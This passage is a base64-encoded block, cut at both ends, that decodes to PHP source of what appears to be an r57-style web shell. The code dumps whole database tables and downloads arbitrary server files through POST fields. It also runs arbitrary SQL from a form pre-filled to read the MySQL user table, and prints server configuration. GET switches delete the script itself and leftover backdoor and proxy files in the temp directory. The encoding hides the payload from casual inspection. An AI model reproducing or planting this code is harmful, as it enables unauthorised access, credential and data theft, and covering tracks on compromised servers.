VzKTsKICAgICAkdGhpcy0+bnVtX2ZpZWxkcz1AbXNxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOwogICAgIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBtc3FsX2ZldGNoX2FycmF5KCR0aGlzLT5yZXMpKSk7IAogICAgIEBtc3FsX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOwogICAgIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30KICBicmVhazsKICBjYXNlICdTUUxpdGUnOgogICAgICR0aGlzLT5udW1fcm93cz1Ac3FsaXRlX251bV9yb3dzKCR0aGlzLT5yZXMpOwogICAgICR0aGlzLT5udW1fZmllbGRzPUBzcWxpdGVfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsKICAgICB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAc3FsaXRlX2ZldGNoX2FycmF5KCR0aGlzLT5yZXMpKSk7IAogICAgIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30KICBicmVhazsKICAgIH0KICAgcmV0dXJuIDA7IAogIH0KIGZ1bmN0aW9uIGR1bXAoJHRhYmxlKQogIHsgCiAgIGlmKGVtcHR5KCR0YWJsZSkpIHJldHVybiAwOwogICAkdGhpcy0+ZHVtcD1hcnJheSgpOwogICAkdGhpcy0+ZHVtcFswXSA9ICcjIyc7CiAgICR0aGlzLT5kdW1wWzFdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOwogICAkdGhpcy0+ZHVtcFsyXSA9ICcjIyAgQ3JlYXRlZDogJy5kYXRlICgiZC9tL1kgSDppOnMiKTsKICAgJHRoaXMtPmR1bXBbM10gPSAnIyMgRGF0YWJhc2U6ICcuJHRoaXMtPmJhc2U7CiAgICR0aGlzLT5kdW1wWzRdID0gJyMjICAgIFRhYmxlOiAnLiR0YWJsZTsKICAgJHRoaXMtPmR1bXBbNV0gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7CiAgIHN3aXRjaCgkdGhpcy0+ZGIpCiAgICB7CiAgY2FzZSAnTXlTUUwnOgogICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIE15U1FMIGR1bXAnOwogICAgIGlmKCR0aGlzLT5xdWVyeSgnLyonLmNocigwKS4nKi8gU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJykhPTEpIHJldHVybiAwOwogICAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsKICAgICAkdGhpcy0+ZHVtcFtdID0gJHRoaXMtPnJvd3NbMF1bJ0NyZWF0ZSBUYWJsZSddOwogICAgICR0aGlzLT5kdW1wW10gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7CiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsKICAgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOwogICBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykKICAgIHsKICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpO30KICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgIChgJy5AaW1wbG9kZSgiYCwgYCIsICR0aGlzLT5jb2x1bW5zKS4nYCkgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsKICAgIH0KICBicmVhazsKICBjYXNlICdNU1NRTCc6CiAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgTVNTUUwgZHVtcCc7CiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7CiAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsKICAgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspCiAgICB7CiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAYWRkc2xhc2hlcygkdik7fQogICAgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLkBpbXBsb2RlKCIsICIsICR0aGlzLT5jb2x1bW5zKS4nKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOwogICAgfQogIGJyZWFrOwogIGNhc2UgJ1Bvc3RncmVTUUwnOgogICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIFBvc3RncmVTUUwgZHVtcCc7CiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7CiAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsKICAgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspCiAgICB7CiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAYWRkc2xhc2hlcygkdik7fSAKICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsKICAgIH0gCiAgYnJlYWs7CiAgY2FzZSAnT3JhY2xlJzoKICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBPUkFDTEUgZHVtcCc7CiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7CiAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsKICAgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspCiAgICB7ICAgICAKICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBhZGRzbGFzaGVzKCR2KTt9CiAgICAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7CiAgICB9CiAgYnJlYWs7CiAgY2FzZSAnTXlTUUxpJzoKICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNeVNRTGkgZHVtcCc7CiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7CiAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsKICAgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspCiAgICB7ICAgICAKICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBteXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KTt9CiAgICAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7CiAgICB9CiAgYnJlYWs7CiAgY2FzZSAnbVNRTCc6CiAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgbVNRTCBkdW1wJzsKICAgICBpZigkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpIT0xKSByZXR1cm4gMDsKICAgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOwogICBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykKICAgIHsgICAgIAogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30KICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsKICAgIH0KICBicmVhazsKICBjYXNlICdTUUxpdGUnOgogICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIFNRTGl0ZSBkdW1wJzsKICAgICBpZigkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpIT0xKSByZXR1cm4gMDsKICAgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOwogICBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykKICAgIHsgICAgIAogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30KICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsKICAgIH0KICBicmVhazsKICBkZWZhdWx0OgogICAgIHJldHVybiAwOwogIGJyZWFrOwogICAgfQogICByZXR1cm4gMTsgCiAgfQogZnVuY3Rpb24gY2xvc2UoKQogIHsgCiAgIHN3aXRjaCgkdGhpcy0+ZGIpCiAgICB7CiAgY2FzZSAnTXlTUUwnOiAKICAgICBAbXlzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOyAKICBicmVhazsKICBjYXNlICdNU1NRTCc6CiAgICAgQG1zc3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsKICBicmVhazsKICBjYXNlICdQb3N0Z3JlU1FMJzoKICAgICBAcGdfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOwogIGJyZWFrOwogIGNhc2UgJ09yYWNsZSc6CiAgICAgQG9jaV9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7CiAgYnJlYWs7CiAgY2FzZSAnTXlTUUxpJzoKICAgICBAbXlzcWxpX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsgCiAgYnJlYWs7CiAgY2FzZSAnbVNRTCc6CiAgICAgQG1zcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOyAKICBicmVhazsKICBjYXNlICdTUUxpdGUnOgogICAgIEBzcWxpdGVfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOyAKICBicmVhazsKICAgIH0KICB9CiBmdW5jdGlvbiBhZmZlY3RlZF9yb3dzKCkKICB7IAogICBzd2l0Y2goJHRoaXMtPmRiKQogICAgewogIGNhc2UgJ015U1FMJzoKICAgcmV0dXJuIEBteXNxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOyAKICBicmVhazsKICBjYXNlICdNU1NRTCc6CiAgICAgcmV0dXJuIEBtc3NxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOwogIGJyZWFrOwogIGNhc2UgJ1Bvc3RncmVTUUwnOgogICAgIHJldHVybiBAcGdfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsKICBicmVhazsKICBjYXNlICdPcmFjbGUnOgogICAgIHJldHVybiBAb2Npcm93Y291bnQoJHRoaXMtPnJlcyk7CiAgYnJlYWs7CiAgY2FzZSAnTXlTUUxpJzoKICAgICByZXR1cm4gQG15c3FsaV9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOyAKICBicmVhazsKICBjYXNlICdtU1FMJzoKICAgICByZXR1cm4gQG1zcWxfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsgCiAgYnJlYWs7CiAgY2FzZSAnU1FMaXRlJzoKICAgICByZXR1cm4gQHNxbGl0ZV9jaGFuZ2VzKCR0aGlzLT5yZXMpOwogIGJyZWFrOwogIGRlZmF1bHQ6CiAgICAgcmV0dXJuIDA7CiAgYnJlYWs7CiAgICB9CiAgfQogfSAKaWYoaXNzZXQoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImRvd25sb2FkX2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2RfbmFtZSddKSkKIHsKICBpZigkZmlsZT1tb3JlcmVhZCgkX1BPU1RbJ2RfbmFtZSddKSl7ICRmaWxlZHVtcCA9ICRmaWxlOyB9CiAgZWxzZSBpZiAoJGZpbGU9cmVhZHpsaWIoJF9QT1NUWydkX25hbWUnXSkpIHsgJGZpbGVkdW1wID0gJGZpbGU7IH0gZWxzZSB7IGVycigxLCRfUE9TVFsnZF9uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9CiAgaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pKSAKICAgewogICAgQG9iX2NsZWFuKCk7CiAgICAkZmlsZW5hbWUgPSBAYmFzZW5hbWUoJF9QT1NUWydkX25hbWUnXSk7CiAgICAkY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOwogICAgY29tcHJlc3MoJGZpbGVuYW1lLCRmaWxlZHVtcCwkX1BPU1RbJ2NvbXByZXNzJ10pOwogICAgaWYgKCFlbXB0eSgkY29udGVudF9lbmNvZGluZykpIHsgaGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiAnIC4gJGNvbnRlbnRfZW5jb2RpbmcpOyB9CiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kbWltZV90eXBlKTsKICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmaWxlbmFtZS4iXCI7Iik7ICAgCiAgICBlY2hvICRmaWxlZHVtcDsKICAgIGV4aXQoKTsKICAgfQogfQppZihpc3NldCgkX0dFVFsnMSddKSkgeyBlY2hvIEBwaHBpbmZvKCk7IGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIic+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7IH0KaWYgKGlzc2V0KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJkYl9xdWVyeSIpCiB7CiBlY2hvICRoZWFkOwogJHNxbCA9IG5ldyBteV9zcWwoKTsKICRzcWwtPmRiICAgPSAkX1BPU1RbJ2RiJ107CiAkc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsKICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsKICRzcWwtPnVzZXIgPSAkX1BPU1RbJ215c3FsX2wnXTsKICRzcWwtPnBhc3MgPSAkX1BPU1RbJ215c3FsX3AnXTsKICRzcWwtPmJhc2UgPSAkX1BPU1RbJ215c3FsX2RiJ107CiAkcXVlcnlzID0gQGV4cGxvZGUoJzsnLCRfUE9TVFsnZGJfcXVlcnknXSk7CiBlY2hvICc8Ym9keSBiZ2NvbG9yPSNlNGUwZDg+JzsKIGlmKCEkc3FsLT5jb25uZWN0KCkpIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5DYW4ndCBjb25uZWN0IHRvIFNRTCBzZXJ2ZXI8L2I+PC9mb250PjwvZGl2PiI7CiAgZWxzZSAKICAgewogICBpZighZW1wdHkoJHNxbC0+YmFzZSkmJiEkc3FsLT5zZWxlY3RfZGIoKSkgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxiPkNhbid0IHNlbGVjdCBkYXRhYmFzZTwvYj48L2ZvbnQ+PC9kaXY+IjsKICAgZWxzZQogICAgewogICAgZm9yZWFjaCgkcXVlcnlzIGFzICRudW09PiRxdWVyeSkgCiAgICAgewogICAgICBpZihzdHJsZW4oJHF1ZXJ5KT41KQogICAgICB7CiAgICAgIGVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPWdyZWVuPjxiPlF1ZXJ5IyIuJG51bS4iIDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvZm9udD48YnI+IjsKICAgICAgc3dpdGNoKCRzcWwtPnF1ZXJ5KCRxdWVyeSkpCiAgICAgICB7CiAgICAgICBjYXNlICcwJzoKICAgICAgIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+RXJyb3IgOiA8Yj4iLiRzcWwtPmVycm9yLiI8L2I+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7CiAgICAgICBicmVhazsKICAgICAgIGNhc2UgJzEnOiAKICAgICAgIGlmKCRzcWwtPmdldF9yZXN1bHQoKSkKICAgICAgICB7CiAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT4iOwogICAgICAgIGZvcmVhY2goJHNxbC0+Y29sdW1ucyBhcyAkaz0+JHYpICRzcWwtPmNvbHVtbnNbJGtdID0gaHRtbHNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsKICAgICAgICRrZXlzID0gQGltcGxvZGUoIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIsICRzcWwtPmNvbHVtbnMpOwogICAgICAgIGVjaG8gIjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIuJGtleXMuIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48L3RyPiI7CiAgICAgICAgZm9yKCRpPTA7JGk8JHNxbC0+bnVtX3Jvd3M7JGkrKykKICAgICAgICAgewogICAgICAgICBmb3JlYWNoKCRzcWwtPnJvd3NbJGldIGFzICRrPT4kdikgJHNxbC0+cm93c1skaV1bJGtdID0gaHRtbHNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsKICAgICAgICAgJHZhbHVlcyA9IEBpbXBsb2RlKCImbmJzcDs8L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Iiwkc3FsLT5yb3dzWyRpXSk7CiAgICAgICAgIGVjaG8gJzx0cj48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Jy4kdmFsdWVzLicmbmJzcDs8L2ZvbnQ+PC90ZD48L3RyPic7CiAgICAgICAgIH0KICAgICAgICBlY2hvICI8L3RhYmxlPiI7IAogICAgICAgIH0KICAgICAgIGJyZWFrOwogICAgICAgY2FzZSAnMic6CiAgICAgICAkYXIgPSAkc3FsLT5hZmZlY3RlZF9yb3dzKCk/KCRzcWwtPmFmZmVjdGVkX3Jvd3MoKSk6KCcwJyk7IAogICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj5hZmZlY3RlZCByb3dzIDogPGI+Ii4kYXIuIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+PGJyPiI7CiAgICAgICBicmVhazsgCiAgICAgICB9CiAgICAgIH0KICAgICB9CiAgICB9CiAgIH0gICAKIGVjaG8gIjxicj48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsKIGVjaG8gaW4oJ2hpZGRlbicsJ2RiJywwLCRfUE9TVFsnZGInXSk7CiBlY2hvIGluKCdoaWRkZW4nLCdkYl9zZXJ2ZXInLDAsJF9QT1NUWydkYl9zZXJ2ZXInXSk7CiBlY2hvIGluKCdoaWRkZW4nLCdkYl9wb3J0JywwLCRfUE9TVFsnZGJfcG9ydCddKTsKIGVjaG8gaW4oJ2hpZGRlbicsJ215c3FsX2wnLDAsJF9QT1NUWydteXNxbF9sJ10pOwogZWNobyBpbignaGlkZGVuJywnbXlzcWxfcCcsMCwkX1BPU1RbJ215c3FsX3AnXSk7CiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9kYicsMCwkX1BPU1RbJ215c3FsX2RiJ10pOwogZWNobyBpbignaGlkZGVuJywnY21kJywwLCdkYl9xdWVyeScpOwogZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+IjsKIGVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPkJhc2U6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bXlzcWxfZGIgdmFsdWU9XCIiLiRzcWwtPmJhc2UuIlwiPjwvZm9udD48YnI+IjsKIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTY1IHJvd3M9MTAgbmFtZT1kYl9xdWVyeT4iLighZW1wdHkoJF9QT1NUWydkYl9xdWVyeSddKT8oJF9QT1NUWydkYl9xdWVyeSddKTooIlNIT1cgREFUQUJBU0VTO1xuU0VMRUNUICogRlJPTSB1c2VyOyIpKS4iPC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiIFJ1biBTUUwgcXVlcnkgXCI+PC9kaXY+PGJyPjxicj4iOyAKIGVjaG8gIjwvZm9ybT4iOwogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsKIH0KaWYoaXNzZXQoJF9HRVRbJzEyJ10pKQogewogICBAdW5saW5rKF9fRklMRV9fKTsKIH0KaWYoaXNzZXQoJF9HRVRbJzExJ10pKQogewogICBAdW5saW5rKCR0ZW1wZGlyLidiZHBsJyk7CiAgIEB1bmxpbmsoJHRlbXBkaXIuJ2JhY2snKTsKICAgQHVubGluaygkdGVtcGRpci4nYmQnKTsKICAgQHVubGluaygkdGVtcGRpci4nYmQuYycpOwogICBAdW5saW5rKCR0ZW1wZGlyLidkcCcpOwogICBAdW5saW5rKCR0ZW1wZGlyLidkcGMnKTsKICAgQHVubGluaygkdGVtcGRpci4nZHBjLmMnKTsKICAgQHVubGluaygkdGVtcGRpci4ncHJ4cGwnKTsKICAgQHVubGluaygkdGVtcGRpci4nZ3JlcC50eHQnKTsKIH0KaWYoaXNzZXQoJF9HRVRbJzInXSkpCnsKZWNobyAkaGVhZDsKZnVuY3Rpb24gVV92YWx1ZSgkdmFsdWUpCiB7CiBpZiAoJHZhbHVlID09ICcnKSByZXR1cm4gJzxpPm5vIHZhbHVlPC9pPic7CiBpZiAoQGlzX2Jvb2woJHZhbHVlKSkgcmV0dXJuICR2YWx1ZSA/ICdUUlVFJyA6ICdGQUxTRSc7CiBpZiAoJHZhbHVlID09PSBudWxsKSByZXR1cm4gJ05VTEwnOwogaWYgKEBpc19vYmplY3QoJHZhbHVlKSkgJHZhbHVlID0gKGFycmF5KSAkdmFsdWU7CiBpZiAoQGlzX2FycmF5KCR2YWx1ZSkpCiB7CiBAb2Jfc3RhcnQoKTsKIHByaW50X3IoJHZhbHVlKTsKICR2YWx1ZSA9IEBvYl9nZXRfY29udGVudHMoKTsKIEBvYl9lbmRfY2xlYW4oKTsKIH0KIHJldHVybiBVX3dvcmR3cmFwKChzdHJpbmcpICR2YWx1ZSk7CiB9CmZ1bmN0aW9uIFVfd29yZHdyYXAoJHN0cikKIHsKICRzdHIgPSBAd29yZHdyYXAoQGh0bWxzcGVjaWFsY2hhcnMoJHN0ciksIDEwMCwgJzx3YnIgLz4nLCB0cnVlKTsKIHJldHVybiBAcHJlZ19yZXBsYWNlKCchKCZbXjtdKik8d2JyIC8+KFteO10qOykhJywgJyQxJDI8d2JyIC8+JywgJHN0cik7CiB9CmlmIChAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0X2FsbCcpKQogewogJHIgPSAnJzsKIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlPicsICc8dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGRpdiBhbGlnbj1jZW50ZXI+PGI+RGlyZWN0aXZlPC9iPjwvZGl2PjwvZm9udD48L3RkPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxkaXYgYWxpZ249Y2VudGVyPjxiPkxvY2FsIFZhbHVlPC9iPjwvZGl2PjwvZm9udD48L3RkPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxkaXYgYWxpZ249Y2VudGVyPjxiPk1hc3RlciBWYWx1ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7CiBmb3JlYWNoIChAaW5pX2dldF9hbGwoKSBhcyAka2V5PT4kdmFsdWUpCiAgewogICRyIC49ICc8dHI+PHRkPicud3MoMykuJzxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPicuJGtleS4nPC9iPjwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLlVfdmFsdWUoJHZhbHVlWydsb2NhbF92YWx1ZSddKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLlVfdmFsdWUoJHZhbHVlWydnbG9iYWxfdmFsdWUnXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7CiAgfQogZWNobyAkcjsKIGVjaG8gJzwvdGFibGU+JzsKIH0KZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOwpkaWUoKTsKfQppZihpc3NldCgkX0dFVFsnMyddKSkKIHsKICAgZWNobyAkaGVhZDsKICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxiPkNQVTwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+PHRhYmxlIHdpZHRoPTEwMCU+JzsKICAgJGNwdWYgPSBAZmlsZSgiY3B1aW5mbyIpOwogICBpZigkY3B1ZikKICAgIHsKICAgICAgJGMgPSBAc2l6ZW9mKCRjcHVmKTsKICAgICAgZm9yKCRpPTA7JGk8JGM7JGkrKykKICAgICAgICB7CiAgICAgICAgICAkaW5mbyA9IEBleHBsb2RlKCI6IiwkY3B1ZlskaV0pOwogICAgICAgICAgaWYoJGluZm9bMV09PSIiKXsgJGluZm9bMV09Ii0tLSI7IH0KICAgICAgICAgICRyIC49ICc8dHI+PHRkPicud3MoMykuJzxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPicudHJpbSgkaW5mb1swXSkuJzwvYj48L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy50cmltKCRpbmZvWzFdKS4nPC9iPjwvZGl2PjwvZm9